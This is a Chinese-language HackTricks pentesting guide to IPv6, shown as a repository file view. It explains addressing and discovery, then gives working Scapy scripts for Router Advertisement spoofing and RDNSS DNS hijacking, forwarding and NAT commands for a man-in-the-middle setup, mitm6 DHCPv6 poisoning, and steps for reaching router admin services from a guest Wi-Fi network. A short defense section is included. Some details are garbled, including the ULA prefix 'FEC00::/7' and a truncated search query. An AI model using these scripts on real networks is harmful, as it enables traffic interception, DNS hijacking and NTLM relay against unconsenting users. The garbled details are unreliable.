356 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Pentesting IPv6
{{#include ../../banners/hacktricks-training.md}}
## IPv6 基础理论
### 网络
IPv6 地址的结构旨在增强网络组织和设备交互。IPv6 地址分为:
1. **网络前缀**:前 48 位,确定网络段。
2. **子网 ID**:接下来的 16 位,用于定义网络内的特定子网。
3. **接口标识符**:最后 64 位,唯一标识子网内的设备。
虽然 IPv6 省略了 IPv4 中的 ARP 协议,但引入了 **ICMPv6**,其主要消息有两个:
- **邻居请求 (NS)**:用于地址解析的组播消息。
- **邻居通告 (NA)**:对 NS 的单播响应或自发公告。
IPv6 还包含特殊地址类型:
- **回环地址 (`::1`)**:相当于 IPv4 的 `127.0.0.1`,用于主机内部通信。
- **链路本地地址 (`FE80::/10`)**:用于本地网络活动,不用于互联网路由。处于同一本地网络的设备可以使用此范围相互发现。
### IPv6 在网络命令中的实际使用
要与 IPv6 网络交互,可以使用各种命令:
- **Ping 链路本地地址**:使用 `ping6` 检查本地设备的存在。
- **邻居发现**:使用 `ip neigh` 查看在链路层发现的设备。
- **alive6**:用于发现同一网络上设备的替代工具。
以下是一些命令示例:
```bash
ping6 I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
```
IPv6 地址可以从设备的 MAC 地址派生,用于本地通信。以下是如何从已知的 MAC 地址派生链路本地 IPv6 地址的简化指南,以及对 IPv6 地址类型和在网络中发现 IPv6 地址的方法的简要概述。
### **从 MAC 地址派生链路本地 IPv6**
给定一个 MAC 地址 **`12:34:56:78:9a:bc`**,可以按如下方式构造链路本地 IPv6 地址:
1. 将 MAC 转换为 IPv6 格式: **`1234:5678:9abc`**
2. 在前面加上 `fe80::` 并在中间插入 `fffe` **`fe80::1234:56ff:fe78:9abc`**
3. 反转左侧的第七位,将 `1234` 改为 `1034` **`fe80::1034:56ff:fe78:9abc`**
### **IPv6 地址类型**
- **唯一本地地址 (ULA)**:用于本地通信,不用于公共互联网路由。前缀: **`FEC00::/7`**
- **组播地址**:用于一对多通信。发送到组播组中的所有接口。前缀: **`FF00::/8`**
- **任播地址**:用于一对最近的通信。根据路由协议发送到最近的接口。属于 **`2000::/3`** 全球单播范围。
### **地址前缀**
- **fe80::/10**:链路本地地址(类似于 169.254.x.x
- **fc00::/7**:唯一本地单播(类似于私有 IPv4 范围,如 10.x.x.x, 172.16.x.x, 192.168.x.x
- **2000::/3**:全球单播
- **ff02::1**:组播所有节点
- **ff02::2**:组播路由器节点
### **在网络中发现 IPv6 地址**
#### 方法 1使用链路本地地址
1. 获取网络中设备的 MAC 地址。
2. 从 MAC 地址派生链路本地 IPv6 地址。
#### 方法 2使用组播
1. 向组播地址 `ff02::1` 发送 ping以发现本地网络上的 IPv6 地址。
```bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
```
### IPv6 Man-in-the-Middle (MitM) Attacks
在IPv6网络中执行MitM攻击的几种技术包括
- 冒充ICMPv6邻居或路由器广告。
- 使用ICMPv6重定向或“数据包过大”消息来操纵路由。
- 攻击移动IPv6通常需要禁用IPSec
- 设置恶意DHCPv6服务器。
## Identifying IPv6 Addresses in the eild
### Exploring Subdomains
一种查找可能与IPv6地址相关的子域的方法是利用搜索引擎。例如使用查询模式`ipv6.*`可能是有效的。具体来说可以在Google中使用以下搜索命令
```bash
site:ipv6./
```
### 利用 DNS 查询
要识别 IPv6 地址,可以查询某些 DNS 记录类型:
- **AXFR**:请求完整的区域传输,可能会揭示广泛的 DNS 记录。
- **AAAA**:直接查找 IPv6 地址。
- **ANY**:一个广泛的查询,返回所有可用的 DNS 记录。
### 使用 Ping6 进行探测
在确定与组织相关的 IPv6 地址后,可以使用 `ping6` 工具进行探测。该工具有助于评估识别出的 IPv6 地址的响应能力,并可能帮助发现相邻的 IPv6 设备。
## IPv6 本地网络攻击技术
以下部分涵盖可以在 **同一 /64 段内** 执行的实际层 2 IPv6 攻击,而无需知道任何全局前缀。下面显示的所有数据包都是 **链路本地** 的,仅通过本地交换机传输,使它们在大多数环境中极其隐蔽。
### 为稳定实验室进行系统调优
在玩弄 IPv6 流量之前,建议对您的设备进行加固,以避免被自己的测试所污染,并在大规模数据包注入/嗅探期间获得最佳性能。
```bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```
### 被动 NDP 和 DHCPv6 嗅探
因为每个 IPv6 主机 **自动加入多个组播组** (`ff02::1`, `ff02::2`, …) 并使用 ICMPv6 进行 SLAAC/NDP你可以在不发送任何数据包的情况下映射整个段。以下 Python/Scapy 单行代码监听最有趣的 L2 消息,并打印出带有颜色和时间戳的日志,显示谁是谁:
```python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
```
结果:在几秒钟内生成一个完整的 **link-local topology** (MAC ⇄ IPv6),而不会触发依赖于主动扫描的 IPS/IDS 系统。
### 路由器广告 (RA) 欺骗
IPv6 主机依赖 **ICMPv6 Router Advertisements** 进行默认网关发现。如果你注入伪造的 RAs **比合法路由器更频繁**,设备将默默地切换到你作为网关。
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
要在赢得比赛后实际**转发流量**
```bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
#### 路由器广告标志 (M/O) 和默认路由器优先级 (Prf)
| 标志 | 意义 | 对客户端行为的影响 |
|------|---------|----------------------------|
| **M (管理地址配置)** | 当设置为 `1` 时,主机必须使用 **DHCPv6** 来获取其 IPv6 地址。 | 整个地址来自 DHCPv6 非常适合 *mitm6* 风格的中间人攻击。 |
| **O (其他配置)** | 当设置为 `1` 时,主机应仅使用 **DHCPv6** 来获取 *其他* 信息DNS, NTP, …)。 | 地址仍通过 SLAAC 获取,但 DNS 可以通过 DHCPv6 被劫持。 |
| **M=0 / O=0** | 纯 SLAAC 网络。 | 仅可能使用 RA / RDNSS 技巧 客户端不会发送 DHCPv6。 |
| **M=1 / O=1** | 混合环境。 | 同时使用 DHCPv6 和 SLAAC欺骗的表面最大。 |
在渗透测试期间,您可以简单地检查一次合法的 RA 并决定哪个向量是可行的:
```bash
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
```
查找转储中的 `flags [M,O]` 字段 - 无需猜测。
**Prf**(路由器优先级)字段在 RA 头部控制当存在 *多个* 网关时你的恶意路由器看起来有多吸引人:
| Prf 值 | 二进制 | 意义 |
|--------|--------|------|
| **高** | `10` | 客户端更喜欢这个路由器而不是任何 *中*/*低* 的路由器 |
| 中(默认) | `01` | 几乎所有合法设备都使用 |
| 低 | `00` | 仅在没有更好的路由器时选择 |
使用 Scapy 生成数据包时,可以通过 `prf` 参数设置,如上所示(`prf=0x1` → 高)。结合 **高 Prf**、**短间隔** 和 **非零生命周期** 使你的恶意网关异常稳定。
---
### 通过 RA 进行 RDNSSDNS欺骗
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) 允许在 RA 中添加 **递归 DNS 服务器RDNSS** 选项。现代操作系统Win 10 ≥1709、Win 11、macOS Big Sur、Linux systemd-resolved 等)会自动信任它:
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
客户将**预先添加**您的DNS到其解析器列表中直到给定的生存时间结束这将授予完全的DNS劫持直到值过期或您发送`lifetime=0`还原。
### DHCPv6 DNS欺骗 (mitm6)
Windows网络通常依赖于**无状态DHCPv6**进行DNS而不是SLAAC。[mitm6](https://github.com/rofl0r/mitm6)自动回复`Solicit`消息,使用**广告 → 回复**流程,将**您的链路本地地址分配为DNS持续300秒**。这解锁了:
* NTLM中继攻击WPAD + DNS劫持
* 拦截内部名称解析而不触及路由器
典型用法:
```bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
```
### 防御
* 在管理交换机上使用 **RA Guard / DHCPv6 Guard / ND Inspection**
* 端口 ACL 仅允许合法路由器的 MAC 发送 RAs。
* 监控 **不稳定的高频率 RAs** 或突然的 **RDNSS 变化**
* 在端点禁用 IPv6 是一种临时解决方法,通常会破坏现代服务并隐藏盲点 更倾向于使用 L2 过滤。
### 客户/公共 SSID 上的 NDP 路由器发现和管理服务暴露
许多消费级路由器在所有接口上暴露管理守护进程HTTP(S)、SSH/Telnet、TR-069 等)。在某些部署中,“客户/公共”SSID 被桥接到 WAN/核心,并且仅支持 IPv6。即使路由器的 IPv6 在每次启动时都会变化,您仍然可以通过 NDP/ICMPv6 可靠地学习它,然后从客户 SSID 直接连接到管理平面。
从连接到客户/公共 SSID 的客户端的典型工作流程:
1) 通过 ICMPv6 路由器请求发现路由器,发送到所有路由器的多播 `ff02::2` 并捕获路由器广告 (RA)
```bash
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
```
RA揭示了路由器的链路本地地址通常还有一个全局地址/前缀。如果只知道链路本地地址,请记住连接必须指定区域索引,例如`ssh -6 admin@[fe80::1%wlan0]`
替代方案如果可用请使用ndisc6套件
```bash
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
```
2) 从访客SSID访问通过IPv6暴露的服务
```bash
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
```
3) 如果管理外壳通过包装器例如tcpdump提供数据包捕获工具请检查参数/文件名注入,以允许传递额外的 tcpdump 标志,如 `-G/-W/-z`,以实现后旋转命令执行。请参见:
{{#ref}}
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
{{#endref}}
防御/注意事项:
- 不要将管理绑定到访客/公共桥接;在 SSID 桥接上应用 IPv6 防火墙。
- 在可行的情况下,对访客段进行 NDP/RS/RA 的速率限制和过滤。
- 对于必须可达的服务,强制实施身份验证/MFA 和强速率限制。
## 参考文献
- [Legless IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
- [mitm6](https://github.com/rofl0r/mitm6)
- [RFC 8106 IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
- [FiberGateway GR241AG Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}